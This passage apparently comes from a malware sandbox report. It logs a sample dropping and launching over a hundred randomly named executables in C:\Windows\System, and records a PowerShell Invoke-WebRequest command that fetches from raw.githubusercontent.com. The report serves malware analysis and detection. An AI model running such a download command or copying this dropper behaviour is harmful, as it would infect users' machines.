PID 1612 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\qBJlzyf.exe
PID 1612 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\qBJlzyf.exe
PID 1612 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TjPMQqA.exe
PID 1612 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TjPMQqA.exe
PID 1612 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TjPMQqA.exe
PID 1612 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\YMlOZXa.exe
PID 1612 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\YMlOZXa.exe
PID 1612 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\YMlOZXa.exe
PID 1612 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JdVBkYA.exe
PID 1612 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JdVBkYA.exe
PID 1612 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JdVBkYA.exe
PID 1612 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\aOBhujo.exe
PID 1612 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\aOBhujo.exe
PID 1612 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\aOBhujo.exe
PID 1612 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\MQTYcJl.exe
PID 1612 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\MQTYcJl.exe
PID 1612 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\MQTYcJl.exe
PID 1612 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\lKBkTHN.exe
PID 1612 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\lKBkTHN.exe
PID 1612 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\lKBkTHN.exe
PID 1612 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ocjGChp.exe
PID 1612 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ocjGChp.exe
PID 1612 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ocjGChp.exe
PID 1612 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mHEBzYn.exe
PID 1612 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mHEBzYn.exe
PID 1612 wrote to memory of 2504 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mHEBzYn.exe
PID 1612 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\eVQOcWe.exe
PID 1612 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\eVQOcWe.exe
PID 1612 wrote to memory of 1028 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\eVQOcWe.exe
PID 1612 wrote to memory of 796 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\zCjwMAx.exe
PID 1612 wrote to memory of 796 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\zCjwMAx.exe
PID 1612 wrote to memory of 796 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\zCjwMAx.exe
PID 1612 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZVAxTeC.exe
PID 1612 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZVAxTeC.exe
PID 1612 wrote to memory of 1436 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ZVAxTeC.exe
PID 1612 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\Vfeprti.exe
PID 1612 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\Vfeprti.exe
PID 1612 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\Vfeprti.exe
PID 1612 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mUrPEjF.exe
PID 1612 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mUrPEjF.exe
PID 1612 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mUrPEjF.exe
PID 1612 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\exNwpkY.exe
PID 1612 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\exNwpkY.exe
PID 1612 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\exNwpkY.exe
PID 1612 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JZTiKCN.exe
PID 1612 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JZTiKCN.exe
PID 1612 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\JZTiKCN.exe
PID 1612 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\DFrbVwn.exe
PID 1612 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\DFrbVwn.exe
PID 1612 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\DFrbVwn.exe
PID 1612 wrote to memory of 2908 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\WyDirGb.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\ZPeFTWK.exe

C:\Windows\System\ZPeFTWK.exe

C:\Windows\System\InyqDUE.exe

C:\Windows\System\InyqDUE.exe

C:\Windows\System\pnaHWXe.exe

C:\Windows\System\pnaHWXe.exe

C:\Windows\System\qBJlzyf.exe

C:\Windows\System\qBJlzyf.exe

C:\Windows\System\TjPMQqA.exe

C:\Windows\System\TjPMQqA.exe

C:\Windows\System\YMlOZXa.exe

C:\Windows\System\YMlOZXa.exe

C:\Windows\System\JdVBkYA.exe

C:\Windows\System\JdVBkYA.exe

C:\Windows\System\aOBhujo.exe

C:\Windows\System\aOBhujo.exe

C:\Windows\System\MQTYcJl.exe

C:\Windows\System\MQTYcJl.exe

C:\Windows\System\lKBkTHN.exe

C:\Windows\System\lKBkTHN.exe

C:\Windows\System\ocjGChp.exe

C:\Windows\System\ocjGChp.exe

C:\Windows\System\mHEBzYn.exe

C:\Windows\System\mHEBzYn.exe

C:\Windows\System\eVQOcWe.exe

C:\Windows\System\eVQOcWe.exe

C:\Windows\System\zCjwMAx.exe

C:\Windows\System\zCjwMAx.exe

C:\Windows\System\ZVAxTeC.exe

C:\Windows\System\ZVAxTeC.exe

C:\Windows\System\Vfeprti.exe

C:\Windows\System\Vfeprti.exe

C:\Windows\System\mUrPEjF.exe

C:\Windows\System\mUrPEjF.exe

C:\Windows\System\exNwpkY.exe

C:\Windows\System\exNwpkY.exe

C:\Windows\System\JZTiKCN.exe

C:\Windows\System\JZTiKCN.exe

C:\Windows\System\DFrbVwn.exe

C:\Windows\System\DFrbVwn.exe

C:\Windows\System\WyDirGb.exe

C:\Windows\System\WyDirGb.exe

C:\Windows\System\MAqYQNX.exe

C:\Windows\System\MAqYQNX.exe

C:\Windows\System\xuZhnsR.exe

C:\Windows\System\xuZhnsR.exe

C:\Windows\System\uqupWZK.exe

C:\Windows\System\uqupWZK.exe

C:\Windows\System\XEwqcBe.exe

C:\Windows\System\XEwqcBe.exe

C:\Windows\System\rDVDJYr.exe

C:\Windows\System\rDVDJYr.exe

C:\Windows\System\YqnVVqm.exe

C:\Windows\System\YqnVVqm.exe

C:\Windows\System\FxqxJzX.exe

C:\Windows\System\FxqxJzX.exe

C:\Windows\System\lLyTidn.exe

C:\Windows\System\lLyTidn.exe

C:\Windows\System\YVkoAhD.exe

C:\Windows\System\YVkoAhD.exe

C:\Windows\System\BWXlrTf.exe

C:\Windows\System\BWXlrTf.exe

C:\Windows\System\BxrOSwy.exe

C:\Windows\System\BxrOSwy.exe

C:\Windows\System\lXbsKZc.exe

C:\Windows\System\lXbsKZc.exe

C:\Windows\System\ScDIAbV.exe

C:\Windows\System\ScDIAbV.exe

C:\Windows\System\aGCWGLk.exe

C:\Windows\System\aGCWGLk.exe

C:\Windows\System\uNTufTK.exe

C:\Windows\System\uNTufTK.exe

C:\Windows\System\OkDnPSm.exe

C:\Windows\System\OkDnPSm.exe

C:\Windows\System\OxVXgEL.exe

C:\Windows\System\OxVXgEL.exe

C:\Windows\System\VtGqcyj.exe

C:\Windows\System\VtGqcyj.exe

C:\Windows\System\JYRUMhD.exe

C:\Windows\System\JYRUMhD.exe

C:\Windows\System\lnpMoAp.exe

C:\Windows\System\lnpMoAp.exe

C:\Windows\System\YTgByyL.exe

C:\Windows\System\YTgByyL.exe

C:\Windows\System\HxXoaLX.exe

C:\Windows\System\HxXoaLX.exe

C:\Windows\System\lMqTFnL.exe

C:\Windows\System\lMqTFnL.exe

C:\Windows\System\aAQkSwp.exe

C:\Windows\System\aAQkSwp.exe

C:\Windows\System\WBYzILT.exe

C:\Windows\System\WBYzILT.exe

C:\Windows\System\EOMRKuc.exe

C:\Windows\System\EOMRKuc.exe

C:\Windows\System\ThvsOyK.exe

C:\Windows\System\ThvsOyK.exe

C:\Windows\System\FqsaKjt.exe

C:\Windows\System\FqsaKjt.exe

C:\Windows\System\yfjlILw.exe

C:\Windows\System\yfjlILw.exe

C:\Windows\System\ypZWhjL.exe

C:\Windows\System\ypZWhjL.exe

C:\Windows\System\cgOQFvt.exe

C:\Windows\System\cgOQFvt.exe

C:\Windows\System\nppmQur.exe

C:\Windows\System\nppmQur.exe

C:\Windows\System\pcScGLy.exe

C:\Windows\System\pcScGLy.exe

C:\Windows\System\kKXwitt.exe

C:\Windows\System\kKXwitt.exe

C:\Windows\System\LVPkKGh.exe

C:\Windows\System\LVPkKGh.exe

C:\Windows\System\yqFeNuW.exe

C:\Windows\System\yqFeNuW.exe

C:\Windows\System\rCMAZzu.exe

C:\Windows\System\rCMAZzu.exe

C:\Windows\System\EVTktck.exe

C:\Windows\System\EVTktck.exe

C:\Windows\System\NODmEIG.exe

C:\Windows\System\NODmEIG.exe

C:\Windows\System\wMPFqzh.exe

C:\Windows\System\wMPFqzh.exe

C:\Windows\System\aBxtPQo.exe

C:\Windows\System\aBxtPQo.exe

C:\Windows\System\HOAocQD.exe

C:\Windows\System\HOAocQD.exe

C:\Windows\System\opxGuug.exe

C:\Windows\System\opxGuug.exe

C:\Windows\System\NgpXvTG.exe

C:\Windows\System\NgpXvTG.exe

C:\Windows\System\doxldWp.exe

C:\Windows\System\doxldWp.exe

C:\Windows\System\cgSlmrx.exe

C:\Windows\System\cgSlmrx.exe

C:\Windows\System\KLmbVXN.exe

C:\Windows\System\KLmbVXN.exe

C:\Windows\System\niTZCgF.exe

C:\Windows\System\niTZCgF.exe

C:\Windows\System\LoSrlLk.exe

C:\Windows\System\LoSrlLk.exe

C:\Windows\System\iirlEdp.exe

C:\Windows\System\iirlEdp.exe

C:\Windows\System\TiKpNQo.exe

C:\Windows\System\TiKpNQo.exe

C:\Windows\System\rJNsHXR.exe

C:\Windows\System\rJNsHXR.exe

C:\Windows\System\uJjuAuM.exe

C:\Windows\System\uJjuAuM.exe

C:\Windows\System\mMvZhUF.exe

C:\Windows\System\mMvZhUF.exe

C:\Windows\System\pjoYYMV.exe

C:\Windows\System\pjoYYMV.exe

C:\Windows\System\oeAeQef.exe

C:\Windows\System\oeAeQef.exe

C:\Windows\System\RuHrbin.exe

C:\Windows\System\RuHrbin.exe

C:\Windows\System\MAzKhQg.exe

C:\Windows\System\MAzKhQg.exe

C:\Windows\System\KKmICvy.exe

C:\Windows\System\KKmICvy.exe

C:\Windows\System\dctdznK.exe

C:\Windows\System\dctdznK.exe

C:\Windows\System\vdwoVSh.exe

C:\Windows\System\vdwoVSh.exe

C:\Windows\System\SDxbetB.exe

C:\Windows\System\SDxbetB.exe

C:\Windows\System\RYtTIXw.exe

C:\Windows\System\RYtTIXw.exe

C:\Windows\System\TYkTaPb.exe

C:\Windows\System\TYkTaPb.exe

C:\Windows\System\HAOZkte.exe

C:\Windows\System\HAOZkte.exe

C:\Windows\System\fWHDQCX.exe

C:\Windows\System\fWHDQCX.exe

C:\Windows\System\NfsSqay.exe

C:\Windows\System\NfsSqay.exe

C:\Windows\System\YVqhiwE.exe

C:\Windows\System\YVqhiwE.exe

C:\Windows\System\bKmnksP.exe

C:\Windows\System\bKmnksP.exe

C:\Windows\System\aLFTyqW.exe

C:\Windows\System\aLFTyqW.exe

C:\Windows\System\JxaRVFb.exe

C:\Windows\System\JxaRVFb.exe

C:\Windows\System\WRWgnlA.exe

C:\Windows\System\WRWgnlA.exe

C:\Windows\System\TpnBncn.exe

C:\Windows\System\TpnBncn.exe

C:\Windows\System\MgBmHoH.exe

C:\Windows\System\MgBmHoH.exe

C:\Windows\System\QnGRtNE.exe

C:\Windows\System\QnGRtNE.exe

C:\Windows\System\DvpBFrV.exe

C:\Windows\System\DvpBFrV.exe

C:\Windows\System\ruKTTzg.exe

C:\Windows\System\ruKTTzg.exe

C:\Windows\System\hwCVPGk.exe

C:\Windows\System\hwCVPGk.exe

C:\Windows\System\NYrLttM.exe

C:\Windows\System\NYrLttM.exe

C:\Windows\System\QCShhUP.exe

C:\Windows\System\QCShhUP.exe

C:\Windows\System\nqVbgeK.exe

C:\Windows\System\nqVbgeK.exe

C:\Windows\System\yANjWOa.exe

C:\Windows\System\yANjWOa.exe

C:\Windows\System\ElSccEN.exe

C:\Windows\System\ElSccEN.exe

C:\Windows\System\RKoxwGz.exe

C:\Windows\System\RKoxwGz.exe

C:\Windows\System\LaQBipV.exe

C:\Windows\System\LaQBipV.exe

C:\Windows\System\fgRRTHB.exe

C:\Windows\System\fgRRTHB.exe

C:\Windows\System\dzHWfDb.exe

C:\Windows\System\dzHWfDb.exe

C:\Windows\System\IbAsmWw.exe

C:\Windows\System\IbAsmWw.exe

C:\Windows\System\FLkPokz.exe

C:\Windows\System\FLkPokz.exe

C:\Windows\System\dJmRPOT.exe

C:\Windows\System\dJmRPOT.exe

C:\Windows\System\tPxMDMk.exe

C:\Windows\System\tPxMDMk.exe

C:\Windows\System\HCBHrUS.exe

C:\Windows\System\HCBHrUS.exe

C:\Windows\System\ywbBsDq.exe

C:\Windows\System\ywbBsDq.exe

C:\Windows\System\JYEDtMM.exe

C:\Windows\System\JYEDtMM.exe

C:\Windows\System\wIvALvC.exe

C:\Windows\System\wIvALvC.exe

C:\Windows\System\mKwYdke.exe

C:\Windows\System\mKwYdke.exe

C:\Windows\System\rUlcxYd.exe

C:\Windows\System\rUlcxYd.exe

C:\Windows\System\buuekiy.exe

C:\Windows\System\buuekiy.exe

C:\Windows\System\OjqhLiK.exe

C:\Windows\System\OjqhLiK.exe

C:\Windows\System\jBcpFwG.exe

C:\Windows\System\jBcpFwG.exe

C:\Windows\System\ZFfWKwR.exe

C:\Windows\System\ZFfWKwR.exe

C:\Windows\System\rRfXkwz.exe

C:\Windows\System\rRfXkwz.exe

C:\Windows\System\SALPZlw.exe

C:\Windows\System\SALPZlw.exe

C:\Windows\System\smPOvBP.exe

C:\Windows\System\smPOvBP.exe

C:\Windows\System\aXRnPiZ.exe

C:\Windows\System\aXRnPiZ.exe

C:\Windows\System\wEUwwrj.exe

C:\Windows\System\wEUwwrj.exe

C:\Windows\System\UGjuDWB.exe

C:\Windows\System\UGjuDWB.exe

C:\Windows\System\hNSqdhP.exe

C:\Windows\System\hNSqdhP.exe

C:\Windows\System\yXLghIh.exe

C:\Windows\System\yXLghIh.exe

C:\Windows\System\XqysEpO.exe

C:\Windows\System\XqysEpO.exe

C:\Windows\System\PGhKeCX.exe

C:\Windows\System\PGhKeCX.exe

C:\Windows\System\GLsdWvZ.exe

C:\Windows\System\GLsdWvZ.exe

C:\Windows\System\jOeOxuX.exe

C:\Windows\System\jOeOxuX.exe

C:\Windows\System\knXLsVR.exe

C:\Windows\System\knXLsVR.exe

C:\Windows\System\SNgFhmm.exe

C:\Windows\System\SNgFhmm.exe

C:\Windows\System\vrRfZle.exe

C:\Windows\System\vrRfZle.exe

C:\Windows\System\ySqUeFR.exe

C:\Windows\System\ySqUeFR.exe

C:\Windows\System\gXWAwDP.exe

C:\Windows\System\gXWAwDP.exe

C:\Windows\System\CUKUnfX.exe

C:\Windows\System\CUKUnfX.exe

C:\Windows\System\lrLSlqn.exe

C:\Windows\System\lrLSlqn.exe

C:\Windows\System\YHYYxiV.exe

C:\Windows\System\YHYYxiV.exe

C:\Windows\System\vHRReQj.exe

C:\Windows\System\vHRReQj.exe

C:\Windows\System\bnFKyxj.exe

C:\Windows\System\bnFKyxj.exe

C:\Windows\System\KEMVwtg.exe

C:\Windows\System\KEMVwtg.exe

C:\Windows\System\mUPbOdI.exe

C:\Windows\System\mUPbOdI.exe

C:\Windows\System\FLJgHlc.exe

C:\Windows\System\FLJgHlc.exe

C:\Windows\System\wclZFjN.exe

C:\Windows\System\wclZFjN.exe

C:\Windows\System\cnFDmFt.exe

C:\Windows\System\cnFDmFt.exe

C:\Windows\System\fgIESQu.exe

C:\Windows\System\fgIESQu.exe

C:\Windows\System\KkjyfSS.exe

C:\Windows\System\KkjyfSS.exe

C:\Windows\System\URLvPIg.exe

C:\Windows\System\URLvPIg.exe

C:\Windows\System\NWKcQez.exe

C:\Windows\System\NWKcQez.exe

C:\Windows\System\zByvIxs.exe

C:\Windows\System\zByvIxs.exe

C:\Windows\System\TzbbYao.exe

C:\Windows\System\TzbbYao.exe

C:\Windows\System\fqXKsUP.exe

C:\Windows\System\fqXKsUP.exe

C:\Windows\System\ZlrVhCz.exe

C:\Windows\System\ZlrVhCz.exe

C:\Windows\System\HegfQpb.exe

C:\Windows\System\HegfQpb.exe

C:\Windows\System\szVtStn.exe

C:\Windows\System\szVtStn.exe

C:\Windows\System\WTWTxeM.exe

C:\Windows\System\WTWTxeM.exe

C:\Windows\System\WJZDHnB.exe

C:\Windows\System\WJZDHnB.exe

C:\Windows\System\HuABjgI.exe

C:\Windows\System\HuABjgI.exe

C:\Windows\System\fkSjmqu.exe

C:\Windows\System\fkSjmqu.exe

C:\Windows\System\UHNxJJL.exe

C:\Windows\System\UHNxJJL.exe

C:\Windows\System\sqxfzUF.exe

C:\Windows\System\sqxfzUF.exe

C:\Windows\System\SwkQnCc.exe

C:\Windows\System\SwkQnCc.exe

C:\Windows\System\EkyJLmk.exe

C:\Windows\System\EkyJLmk.exe

C:\Windows\System\XiYvMsA.exe

C:\Windows\System\XiYvMsA.exe

C:\Windows\System\WiJAgzW.exe

C:\Windows\System\WiJAgzW.exe

C:\Windows\System\oytQCZd.exe

C:\Windows\System\oytQCZd.exe

C:\Windows\System\hzPiZKC.exe

C:\Windows\System\hzPiZKC.exe

C:\Windows\System\VGenQlv.exe

C:\Windows\System\VGenQlv.exe

C:\Windows\System\Itrcnxh.exe

C:\Windows\System\Itrcnxh.exe

C:\Windows\System\YuThUwj.exe

C:\Windows\System\YuThUwj.exe

C:\Windows\System\DCjCEkq.exe

C:\Windows\System\DCjCEkq.exe

C:\Windows\System\HnnZqOd.exe

C:\Windows\System\HnnZqOd.exe

C:\Windows\System\mWkpMMb.exe

C:\Windows\System\mWkpMMb.exe

C:\Windows\System\WoCAOQe.exe

C:\Windows\System\WoCAOQe.exe

C:\Windows\System\UOvYDuA.exe

C:\Windows\System\UOvYDuA.exe

C:\Windows\System\qsegctP.exe

C:\Windows\System\qsegctP.exe

C:\Windows\System\FdjGYnA.exe

C:\Windows\System\FdjGYnA.exe

C:\Windows\System\dtnObMx.exe

C:\Windows\System\dtnObMx.exe

C:\Windows\System\WKvKZmX.exe

C:\Windows\System\WKvKZmX.exe

C:\Windows\System\XTtBcKs.exe

C:\Windows\System\XTtBcKs.exe

C:\Windows\System\lJcmASf.exe

C:\Windows\System\lJcmASf.exe

C:\Windows\System\GepTpRh.exe

C:\Windows\System\GepTpRh.exe

C:\Windows\System\WcrpApJ.exe

C:\Windows\System\WcrpApJ.exe

C:\Windows\System\orCFGMC.exe

C:\Windows\System\orCFGMC.exe

C:\Windows\System\PIIOGkL.exe

C:\Windows\System\PIIOGkL.exe

C:\Windows\System\GSkJyaz.exe

C:\Windows\System\GSkJyaz.exe

C:\Windows\System\zHvSrFv.exe

C:\Windows\System\zHvSrFv.exe

C:\Windows\System\cVZnuwM.exe

C:\Windows\System\cVZnuwM.exe

C:\Windows\System\XXVjnXr.exe

C:\Windows\System\XXVjnXr.exe

C:\Windows\System\yBNSSgy.exe

C:\Windows\System\yBNSSgy.exe

C:\Windows\System\ZQHGbqV.exe

C:\Windows\System\ZQHGbqV.exe

C:\Windows\System\lNzoizS.exe

C:\Windows\System\lNzoizS.exe

C:\Windows\System\YLldbHr.exe

C:\Windows\System\YLldbHr.exe

C:\Windows\System\gQjarAe.exe

C:\Windows\System\gQjarAe.exe

C:\Windows\System\ilCGWcm.exe

C:\Windows\System\ilCGWcm.exe

C:\Windows\System\JHCwWkC.exe

C:\Windows\System\JHCwWkC.exe

C:\Windows\System\tFzGlde.exe

C:\Windows\System\tFzGlde.exe

C:\Windows\System\JmlKdZZ.exe

C:\Windows\System\JmlKdZZ.exe

C:\Windows\System\MUmjVoL.exe

C:\Windows\System\MUmjVoL.exe

C:\Windows\System\nJWdidV.exe

C:\Windows\System\nJWdidV.exe

C:\Windows\System\FubmWvZ.exe

C:\Windows\System\FubmWvZ.exe

C:\Windows\System\UMAeZRG.exe

C:\Windows\System\UMAeZRG.exe

C:\Windows\System\wwAZFXS.exe

C:\Windows\System\wwAZFXS.exe

C:\Windows\System\SvZIPzO.exe

C:\Windows\System\SvZIPzO.exe

C:\Windows\System\EFKmwqF.exe

C:\Windows\System\EFKmwqF.exe

C:\Windows\System\pZrTcJN.exe

C:\Windows\System\pZrTcJN.exe

C:\Windows\System\nSctZtE.exe

C:\Windows\System\nSctZtE.exe

C:\Windows\System\FYXNmvn.exe

C:\Windows\System\FYXNmvn.exe

C:\Windows\System\UWqjnoh.exe

C:\Windows\System\UWqjnoh.exe

C:\Windows\System\BpJRrxh.exe

C:\Windows\System\BpJRrxh.exe

C:\Windows\System\aOdOJqZ.exe

C:\Windows\System\aOdOJqZ.exe

C:\Windows\System\ZDOrKrY.exe

C:\Windows\System\ZDOrKrY.exe

C:\Windows\System\kVvtVTl.exe

C:\Windows\System\kVvtVTl.exe

C:\Windows\System\GyvGWWs.exe

C:\Windows\System\GyvGWWs.exe

C:\Windows\System\fpdwfch.exe

C:\Windows\System\fpdwfch.exe

C:\Windows\System\ujblnTD.exe

C:\Windows\System\ujblnTD.exe

C:\Windows\System\YLLWUfw.exe

C:\Windows\System\YLLWUfw.exe

C:\Windows\System\kQofZJX.exe

C:\Windows\System\kQofZJX.exe

C:\Windows\System\tCryNzj.exe

C:\Windows\System\tCryNzj.exe

C:\Windows\System\TpahekO.exe

C:\Windows\System\TpahekO.exe

C:\Windows\System\nvPqhZB.exe

C:\Windows\System\nvPqhZB.exe

C:\Windows\System\PlLfpmf.exe

C:\Windows\System\PlLfpmf.exe

C:\Windows\System\ozrsNie.exe

C:\Windows\System\ozrsNie.exe

C:\Windows\System\VGyxogJ.exe

C:\Windows\System\VGyxogJ.exe

C:\Windows\System\YKIhLMe.exe

C:\Windows\System\YKIhLMe.exe

C:\Windows\System\WONLhhX.exe

C:\Windows\System\WONLhhX.exe

C:\Windows\System\DwCiPUD.exe

C:\Windows\System\DwCiPUD.exe

C:\Windows\System\GxejqVh.exe

C:\Windows\System\GxejqVh.exe

C:\Windows\System\ITUhyKw.exe

C:\Windows\System\ITUhyKw.exe

C:\Windows\System\JixQASE.exe

C:\Windows\System\JixQASE.exe

C:\Windows\System\fvxycPl.exe

C:\Windows\System\fvxycPl.exe

C:\Windows\System\jprWsLn.exe

C:\Windows\System\jprWsLn.exe

C:\Windows\System\jVTvqoH.exe

C:\Windows\System\jVTvqoH.exe

C:\Windows\System\RxcoGeb.exe

C:\Windows\System\RxcoGeb.exe

C:\Windows\System\OOlNrYV.exe

C:\Windows\System\OOlNrYV.exe

C:\Windows\System\TDJdxtf.exe

C:\Windows\System\TDJdxtf.exe

C:\Windows\System\DcgpoaZ.exe

C:\Windows\System\DcgpoaZ.exe

C:\Windows\System\UHFfIqY.exe

C:\Windows\System\UHFfIqY.exe

C:\Windows\System\OTfsOYN.exe

C:\Windows\System\OTfsOYN.exe

C:\Windows\System\VZXHIOM.exe

C:\Windows\System\VZXHIOM.exe

C:\Windows\System\qXycMOr.exe

C:\Windows\System\qXycMOr.exe

C:\Windows\System\CWSmgDs.exe

C:\Windows\System\CWSmgDs.exe

C:\Windows\System\HaOjNZo.exe

C:\Windows\System\HaOjNZo.exe

C:\Windows\System\wqoVDTB.exe

C:\Windows\System\wqoVDTB.exe

C:\Windows\System\ZCHImaj.exe

C:\Windows\System\ZCHImaj.exe

C:\Windows\System\fjYMZqs.exe

C:\Windows\System\fjYMZqs.exe

C:\Windows\System\HVXASbs.exe

C:\Windows\System\HVXASbs.exe

C:\Windows\System\szyVKaI.exe

C:\Windows\System\szyVKaI.exe

C:\Windows\System\FMpHlnV.exe

C:\Windows\System\FMpHlnV.exe

C:\Windows\System\UegywWV.exe

C:\Windows\System\UegywWV.exe

C:\Windows\System\uDYpNxX.exe

C:\Windows\System\uDYpNxX.exe

C:\Windows\System\uvCfSeF.exe

C:\Windows\System\uvCfSeF.exe

